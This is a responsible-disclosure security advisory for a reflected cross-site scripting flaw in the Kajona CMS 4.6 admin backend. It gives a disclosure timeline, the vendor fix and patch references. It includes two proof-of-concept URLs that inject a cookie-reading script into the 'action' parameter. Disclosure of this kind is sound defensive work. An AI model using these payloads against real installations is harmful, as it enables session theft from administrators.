Kajona CMS 4.6 Cross Site Scripting

`Advisory: Reflecting XSS vulnerability in CMS Kajona v. 4.6  
Advisory ID: SROEADV-2015-01  
Author: Steffen Rösemann  
Affected Software: CMS Kajona v. 4.6  
Vendor URL: https://www.kajona.de  
Vendor Status: solved  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
The CMS Kajona v. 4.6 is vulnerable to a reflecting XSS vulnerability in  
its administrative backend.  
  
==================  
Technical Details:  
==================  
  
For an attacker it is possible to append arbitrary HTML and/or  
JavaScript-Code to the parameter "action" in the admin.php.  
  
Exploit Examples:  
  
http://  
{TARGET}/index.php?admin=1&module=right&action=change%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&changemodule=dashboard  
  
http://  
{TARGET}/index.php?admin=1&module=messaging&action=list%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--  
  
=========  
Solution:  
=========  
  
Upgrade to the latest version.  
  
  
====================  
Disclosure Timeline:  
====================  
01-Jan-2015 – found the vulnerability  
01-Jan-2015 - informed the developers  
01-Jan-2015 – release date of this security advisory [without technical  
details]  
05-Jan-2015 - response and fix by vendor  
05-Jan-2015 - release date of this security advisory  
05-Jan-2015 - post on FullDisclosure  
  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Steffen Rösemann.  
  
===========  
References:  
===========  
  
[1] http://sroesemann.blogspot.de  
[2] https://www.kajona.de  
[3]  
https://www.kajona.de/de/News/newsdetails.Security-update-to-module-system.newsDetail.22ac42054aa88a07826c.html  
[4]  
https://github.com/kajona/kajonacms/commit/563d39c327606232e480602f7b36ea6cb31bc6f7  
  
  
`